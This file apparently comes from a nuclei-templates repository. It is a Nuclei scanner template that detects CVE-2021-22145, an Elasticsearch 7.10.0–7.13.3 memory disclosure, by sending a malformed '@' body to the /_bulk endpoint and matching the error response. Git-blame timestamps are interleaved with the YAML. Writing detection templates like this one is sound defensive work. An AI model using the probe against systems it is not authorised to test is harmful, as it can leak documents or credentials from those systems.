nuclei-templates/http/cves/2021/CVE-2021-22145.yaml

56 lines
2.0 KiB
YAML
Raw Normal View History

id: CVE-2021-22145
info:
name: Elasticsearch 7.10.0-7.13.3 - Information Disclosure
author: dhiyaneshDk
severity: medium
description: ElasticSsarch 7.10.0 to 7.13.3 is susceptible to information disclosure. A user with the ability to submit arbitrary queries can submit a malformed query that results in an error message containing previously used portions of a data buffer. This buffer can contain sensitive information such as Elasticsearch documents or authentication details, thus potentially leading to data modification and/or execution of unauthorized operations.
2023-09-06 12:09:01 +00:00
remediation: |
Upgrade Elasticsearch to a version that is not affected by CVE-2021-22145.
reference:
- https://github.com/jaeles-project/jaeles-signatures/blob/e9595197c80521d64e31b846808095dd07c407e9/cves/elasctic-memory-leak-cve-2021-22145.yaml
- https://packetstormsecurity.com/files/163648/ElasticSearch-7.13.3-Memory-Disclosure.html
- https://discuss.elastic.co/t/elasticsearch-7-13-4-security-update/279177
- https://nvd.nist.gov/vuln/detail/CVE-2021-22145
2023-07-11 19:49:27 +00:00
- https://security.netapp.com/advisory/ntap-20210827-0006/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
cvss-score: 6.5
cve-id: CVE-2021-22145
cwe-id: CWE-209
epss-score: 0.96765
epss-percentile: 0.99572
2023-09-06 12:09:01 +00:00
cpe: cpe:2.3:a:elastic:elasticsearch:*:*:*:*:*:*:*:*
metadata:
max-request: 1
2023-07-11 19:49:27 +00:00
vendor: elastic
product: elasticsearch
tags: cve,cve2021,elasticsearch,packetstorm
http:
- method: POST
path:
- '{{BaseURL}}/_bulk'
2023-07-11 19:49:27 +00:00
body: |
@
2023-07-11 19:49:27 +00:00
headers:
Content-Type: application/json
matchers-condition: and
matchers:
- type: word
2023-07-11 19:49:27 +00:00
part: body
words:
- 'root_cause'
- 'truncated'
- 'reason'
condition: and
- type: status
status:
- 400
# digest: 490a0046304402202eee87c97f52dae160a5b53212aa30865648a8f8d8b03b48931bd22c7b8a35b002203b685e4f3160d06a67d6e0d4e324070b7737bb087ba2c1c4a14449b7aa127ee4:922c64590222798bb761d5b6d8e72950